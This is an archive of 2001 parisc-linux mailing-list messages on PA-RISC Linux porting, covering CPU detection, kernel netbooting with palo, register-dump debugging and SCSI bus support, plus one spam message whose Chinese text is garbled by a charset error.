	for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 09:10:05 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15mcnc-0006Rl-00
	for parisc-linux@parisc-linux.org; Thu, 27 Sep 2001 16:10:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12331

i've been hacking on various random things; i don't have sufficient time
to commit everything properly (so i'll do it when i get back on monday),
but the curious can look at `all.diff2' in my homedir on pehc.  here's
a rough contents of the diff (in no particular order):

 * changes in support of card-mode dino
 * random spelling mstakes, documentation updates, etc
 * misc cleanups
 * convert ccio-rm-dma to the parisc_device interface.  it was annoying me.
 * change a lot of `void *' to `unsigned long' and remove casts.
 * rationalise function names & user messages

And much much more!

I haven't even tried compiling it since fixing up the cvs merge conflicts
with all the good work done in the last week or so.  Have fun...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 15:04:55 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20010927150455.A21456@dogbert.localdomain>
References: <200109271223.IAA32108@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="wRRV7LY7NUeQGEoC"
X-Trace: ger.gmane.org 1416620527 26332 80.91.229.3 (22 Nov 2014 01:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 09:48:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDC654842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 09:48:53 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15maye-0004RC-00
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 15:13:20 +0200
Original-Received: (qmail 12803 invoked from network); 27 Sep 2001 13:06:39 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 27 Sep 2001 13:06:39 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15maqV-0005aS-00; Thu, 27 Sep 2001 15:04:55 +0200
Content-Disposition: inline
In-Reply-To: <200109271223.IAA32108@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15maye-0004RC-00*vJqwStDd/O2* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12332

--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

A quick glance at arch/parisc/hardware/inventory.c reveiled the
following:

long status;
unsigned int bus_id;
=2E..
status =3D pdc_model_info(&model);
bus_id =3D (model.hversion >> (4 + 7)) & 0x1f;

switch (bus_id) {
case 0x4:               /* 720, 730, 750, 735, 755 */

I don't know if all these models have the same CPU. I'm guessing not.

I also see a parisc_get_cpu_type(...) in arch/parisc/kernnel/hardware.c.
This is probably what you want.

Regards,

Albert

On Thu, 27 Sep 2001, Jurij Smakov wrote:

> > The CPU in the 720 will treat this as a priviledged instruction. The
> > changes "signal 18 -> signal 26, signal 27, signal 28" and "allow read
> > access to CR26 and CR27 for non-priviledged access" are documented as n=
ew
> > for the PA7100LC processor, so they are not available in the 720.
> >=20
> > Another thing to emulate on the old 720/50 platform...
> >=20
> > Cheers,
> > Jochen
>=20
> It does not seem so complicated... Even with my rudimentary C programming
> skills :-). I'll try to put something together. Is there a way to check
> if we are running on a 720?
>=20
> Jurij.
>=20
>=20
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

--wRRV7LY7NUeQGEoC
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7syP3Dg+hOeRZtkMRAkN8AJ9fS8loUr9uSC1YTcwc/KLY/4s8gQCgh/+g
laDcckL/ozdZu2x6+ach9Eo=
=+717
-----END PGP SIGNATURE-----

--wRRV7LY7NUeQGEoC--




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW SCSI on the D350
Date: Thu, 27 Sep 2001 18:01:07 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20010927180107.B21482@dogbert.localdomain>
References: <20010928001354.A1519@silly.cloud.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="envbJBWh7q8WU6mo"
X-Trace: ger.gmane.org 1416620527 26333 80.91.229.3 (22 Nov 2014 01:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Hamish Moffatt <hamish@cloud.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 10:08:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40AA44842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 10:07:59 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15mdbl-0001Jd-00
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 18:01:53 +0200
Original-Received: (qmail 12932 invoked from network); 27 Sep 2001 16:01:53 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 27 Sep 2001 16:01:53 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15mdb1-0005bQ-00; Thu, 27 Sep 2001 18:01:07 +0200
Content-Disposition: inline
In-Reply-To: <20010928001354.A1519@silly.cloud.net.au>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15mdbl-0001Jd-00*PaHxBVr7FLg* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12333

--envbJBWh7q8WU6mo
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

When in doubt, boot a brand-new kernel. :-)

I suggest downloading the latest CVS snapshot from
puffin.external.hp.com, then cross-compile it according to the
instructions on http://parisc-linux.org/. Basically just add the
xc-latest.tar.gz (the cross-compiler) binaries to your path, then make
mrproper; make oldconfig (possibly making some changes here...
someone?), make dep, make clean, make palo.

Now, grab the latest Debian root.bin, and do the following:

 palo -f /dev/null -k vmlinux -r root.bin -s lifimage \
        -c "0/linux HOME=3D/ root=3D/dev/ram initrd=3D0/ramdisk"

(and perhaps -b iplbool)

where vmlinux is the new kernel you compiled, root.bin is the latest
Debian HPPA root disk) and lifimage is the lifimage make palo made.

Now merrily netboot this lifimage and try installing from the CD (or
network perhaps).

Assuming it works, you'll need to overwrite the kernel the installer=20
drops in /boot with your new vmlinux, or rerun palo without the
root.bin and initrd parts, and with root=3D/dev/sdaN and netboot that=20
kernel.

Did I miss anything?

Regards,

Albert

P.S. Thanks to Richard Hirst who provided me with much of this
information on a prior occasion.

--envbJBWh7q8WU6mo
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7s01DDg+hOeRZtkMRAgIrAJ0cUs38SkIeDFvyr+YJhbqiBvn2rACff5Oy
+0rTvttBNVCTXA7+tRDA4wc=
=UMpr
-----END PGP SIGNATURE-----

--envbJBWh7q8WU6mo--




From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 12:32:51 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <200109271632.MAA25337@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620528 26335 80.91.229.3 (22 Nov 2014 01:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 10:32:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7962B4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 10:32:56 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id MAA25337
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 12:32:51 -0400
Content-ID: <25332.1001608371.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12334

> A quick glance at arch/parisc/hardware/inventory.c reveiled the
> following:
> 
> long status;
> unsigned int bus_id;
> ...
> status = pdc_model_info(&model);
> bus_id = (model.hversion >> (4 + 7)) & 0x1f;
> 
> switch (bus_id) {
> case 0x4:               /* 720, 730, 750, 735, 755 */
> 
> I don't know if all these models have the same CPU. I'm guessing not.
> 
> I also see a parisc_get_cpu_type(...) in arch/parisc/kernnel/hardware.c.
> This is probably what you want.
> 
> Regards,
> 
> Albert

Hi Albert!

As Matthew pointed out, it is not neccessary to determine the CPU type.
"Normal" (newer) CPU's do not consider reading from cr26 and cr27 to
be privileged operations, so the condition, which is checked in the
patch will just never occur for them. Actually, did you try it? I'm
very interested in the results.

Cheers,

Jurij.







From - Thu Nov 08 21:19:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "service@coolstarpage.com" <smtp@public.ayptt.ha.cn>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ˲߰ٱ
Date: Sat, 22 Nov 2014 01:42:08 +0000 (UTC)
Lines: 11
Approved: news@gmane.org
Message-ID: <200109271649.AAA11283@public.ayptt.ha.cn>
Reply-To: service@coolstarpage.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="gb2312"
X-Trace: ger.gmane.org 1416620528 26338 80.91.229.3 (22 Nov 2014 01:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:08 +0000 (UTC)
To: ""@public.ayptt.ha.cn, <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 10:51:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89F344837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 10:51:38 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26000
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Sep 2001 10:48:50 -0600
Original-Received: (qmail 15640 invoked by uid 15267); 27 Sep 2001 16:52:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15573 invoked from network); 27 Sep 2001 16:52:29 -0000
Original-Received: from unknown (HELO public.ayptt.ha.cn) (202.102.230.147)
  by mailserv2.iuinc.com with SMTP; 27 Sep 2001 16:52:29 -0000
Original-Received: from Clansoft ([61.163.57.68])
	by public.ayptt.ha.cn (8.9.1a/8.9.1) with SMTP id AAA11283
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Sep 2001 00:49:21 +0800 (CST)
Original-Date: 2001-9-28 0:46:06
X-mailer: Clansoft CDmail1.0(beta)
Content-Transfer-Encodeing: 8bit
Xref: news.gmane.org gmane.linux.ports.parisc:12335

˲߰ٱ 

һṩһֿͨҳ޸ķÿ͵ĬҳĴ룬ֻҪ뵽 ҳÿÿͷվʱ򣬴ͻὫÿ͵ĬҳóҳǵĴڲ֮ͬڵÿ͵óվԺ󽫲޸ģͬʱǻṩڷÿ͵óվԺÿͿٴ޸ԼĬҳĴ롣

˴˽ϸ:http://www.coolstarpage.com
-------------------------------------------------
  CDmail by ClanSoft    http://clansoft.yeah.net





From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More strange problems
Date: Thu, 27 Sep 2001 11:51:15 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20010927174857.6513D43FA@ldl.fc.hp.com>
References: <20010927113453.F16693@hp.is> <20010927143556.K16693@hp.is> <20010927155752.D16096@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620528 26343 80.91.229.3 (22 Nov 2014 01:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 11:49:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 121254848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 11:49:08 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id A3114C4C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 13:49:07 -0400 (EDT)
Original-Received: from there (eeyore.fc.hp.com [15.1.54.199])
	by ldl.fc.hp.com (Postfix) with SMTP id 6513D43FA
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 11:48:57 -0600 (MDT)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20010927155752.D16096@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12336

> > r0-3     00000000 00000008 0007c7b7 bff00938
> > ...
> >  IIR: 48340038    ISR: 00000014  IOR: 00000024
> >  CPU:        0   CR30: 29164000 CR31: 10350000
> >  ORIG_R28: 00206000
>
> The truly dedicated will decode IIR to see what instruction it was,
> cross-check which register in the dump was wrong then try to debug
> the program.

Decoding IIR is actually pretty easy if you have an HP-UX system with adb:

$ echo "0x48340038=i" | adb
                LDW             28(r1),r20

adb prints the offset in decimal, so this is 0x1c(0x8) = 0x24, which 
matches the IOR.  I wish I knew how to do the same with gdb.






From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 21:18:59 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20010927211859.A21590@dogbert.localdomain>
References: <200109271632.MAA25337@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="qDbXVdCdHGoSgWSk"
X-Trace: ger.gmane.org 1416620529 26346 80.91.229.3 (22 Nov 2014 01:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 13:21:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26707484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 13:20:56 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15mghF-0000hl-00
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 21:19:45 +0200
Original-Received: (qmail 13112 invoked from network); 27 Sep 2001 19:19:45 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 27 Sep 2001 19:19:45 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15mggV-0005cR-00; Thu, 27 Sep 2001 21:18:59 +0200
Content-Disposition: inline
In-Reply-To: <200109271632.MAA25337@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15mghF-0000hl-00*LSXCqocCOs6* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12337

--qDbXVdCdHGoSgWSk
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

I'll play with your patches in about 24 hours from now. Sadly, I am
attempting to get my degree during the week, so I'm not always near my
beloved 720. :-)

But I'll try them soon. And perhaps be truly dedicated and decode some
crashes like Matthew suggests. :-)

By the way, are the docs you are referring to the ones on the
parisc-linux.org site, or are they from another source? I'm interested
in starting to read up on my lil' CPU.

Regards,

Albert

--qDbXVdCdHGoSgWSk
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7s3ujDg+hOeRZtkMRAuqAAJ9+LOW0THLeZFECJv+ndWS0NM0IZwCfdTO4
8kRKShpdHR8q8WOfcjo+y9I=
=LxdE
-----END PGP SIGNATURE-----

--qDbXVdCdHGoSgWSk--




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what i did on my holidays
Date: Thu, 27 Sep 2001 20:44:51 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20010927204451.F2611@megatonmonkey.net>
References: <20010927161004.E16096@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620529 26351 80.91.229.3 (22 Nov 2014 01:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 18:44:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9F02484B
	for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 18:44:53 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8S1CRG22039
	for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 21:12:27 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8S0ipB03885
	for parisc-linux@parisc-linux.org; Thu, 27 Sep 2001 20:44:51 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010927161004.E16096@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Sep 27, 2001 at 04:10:04PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12338

> 
> And much much more!
> 
> I haven't even tried compiling it since fixing up the cvs merge conflicts
> with all the good work done in the last week or so.  Have fun...
> 
> -- 

You da best! :)

I've been hacking glibc 2.2.4-1:

	- ./sysdeps/ia64/dl-fptr.c changes for try_lock
	- Put change back into dpatch
	
	- Combing through glibc trying to understand the various
	  changes that have been made (and how glibc works).

	- dpkg-buildpackage now makes it to the point of using a new
	  ld.so.1, which seg's... so I'm back to figuring out why.

I'm still not as far as you've gotten. I can't even get within arms
reach of running zic, though I'm getting closer.

Trying to document those g++ problems with #define _BSD_SOURCE that
Zimmerman has been trying to assign blame for ;)

I constantly mull over writing a new "building the toolchain" for
the website.

Then I listen to Tom Waits, and I just feel like drinking and pondering
if my 715/50 really loves me ;)

--


c.




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
Date: Thu, 27 Sep 2001 22:01:37 -0400 (EDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109272158500.7708-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620529 26355 80.91.229.3 (22 Nov 2014 01:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 20:01:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EE2D4837
	for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 20:01:38 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA17635
	for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 22:01:37 -0400
X-Sender: nick@ns
Xref: news.gmane.org gmane.linux.ports.parisc:12339

I Run into the exact same problem on a mounted ext2fs with 2xram as swap.
init-2.04# find . -name palo -print                                         
Out of Memory: Killed process 45 (find).                                    
..
Out of Memory: Killed process 45 (find).
SysRq: Emergency Sync                                                       
Syncing device 08:03 ... OK                                                 
Syncing device 08:11 ... OK
Syncing device 08:12 ... OK
Syncing device 08:04 ... OK
Done.
SysRq: Show Regs

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102d6a28 1026bd0c 0000000c                                
r4-7     105f46e4 105f4794 00000008 00000001                                
r8-11    ffffffff 00000010 105f46db efa0b925                                
r12-15   102d6a28 00000000 00000000 00000000                                
r16-19   105f4258 00063800 10334000 1026d912                                
r20-23   00000000 1026d912 0000000e 00000000
r24-27   1026d911 1029275d 105f48f8 10294010
r28-31   105f46e4 00000000 105f4880 1026b648
sr0-3    00000000 00000000 00000000 0000007c
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1026b724 1026b728
 IIR: 0ea01014    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 105f4000 CR31: 10338000
 ORIG_R28: 105f49c0                                                         
Done.
SysRq: Emergency Remount R/O
Remounting device 08:03 ... OK
Remounting device 08:11 ... OK
Remounting device 08:12 ... OK
Remounting device 08:04 ... OK
Done.
SysRq: Show Memory
Mem-info:
Free pages:      115496kB (     0kB HighMem)
( Active: 63, inactive_dirty: 137, inactive_clean: 0, free: 28874 (255 510
765) )
0*4kB 1*8kB 0*16kB 1*32kB 54*64kB 57*128kB 35*256kB 25*512kB 11*1024kB
35*2048kB = 115496kB)
= 0kB)
= 0kB)
Swap cache: add 92308, delete 92271, find 75/305
Free swap:       248700kB
32768 pages of RAM
1223 reserved pages
13 pages shared
37 pages swap cached
Buffer memory:      176kB
SysRq: Resetting

Any suggestions?
	Thanks
		Nick
On Wed, 26 Sep 2001, Jurriaan Kalkman wrote:
> The 2.4.9 kernel really needs swap, or so I've read on the linux-kernel mailing list.
> You should add some swap. 2* [size of main memory] is a safe amount.
> It's considered a bug, but it needs swap even if there is free memory.....
> 
> Good luck,
> Jurriaan
> 






From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW SCSI on the D350
Date: Thu, 27 Sep 2001 23:41:28 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <200109280541.XAA27408@puffin.external.hp.com>
References: <hamish@cloud.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620530 26358 80.91.229.3 (22 Nov 2014 01:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Hamish Moffatt <hamish@cloud.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 23:45:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C84044837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 23:45:03 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA27408;
	Thu, 27 Sep 2001 23:41:28 -0600
In-Reply-To: Message from Hamish Moffatt <hamish@cloud.net.au> 
   of "Fri, 28 Sep 2001 00:13:54 +1000." <20010928001354.A1519@silly.cloud.net.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:12340

Hamish Moffatt wrote:
> 
> Hi,
> 
> I'm trying to install the 0.9 release on a D350 server. The kernel
> recognises the standard SCSI, using the lasi7xxx driver, and finds
> the tape drive and the CD-ROM on that host. However, it doesn't
> find the Bluefish fast/wide SCSI host, so it doesn't find the
> four internal hard disks, which makes installation a little tough.

The D-class is very similar to Cxxx - ie it has U2 or Uturn in it.
parisc-linux currently only supports GSC devices below the first IOMMU.
Ryan Bradetich is working on "I/O tree" support to enable support
for multiple IOMMUs - then we should be able to walk additional
GSC busses and find more devices.

> The boot-up firmware recognises all of the disks OK, but the Bluefish
> is just not included in the device list shown at startup/dmesg.

Probably because GSC bus with your Bluefish (FWD SCSI) isn't being walked.
That's something Ryan wants to fix once IOtree support is at least
sort-of working.

> I'll try the 0.9.2 release tomorrow. Any other things I can do
> which might help?

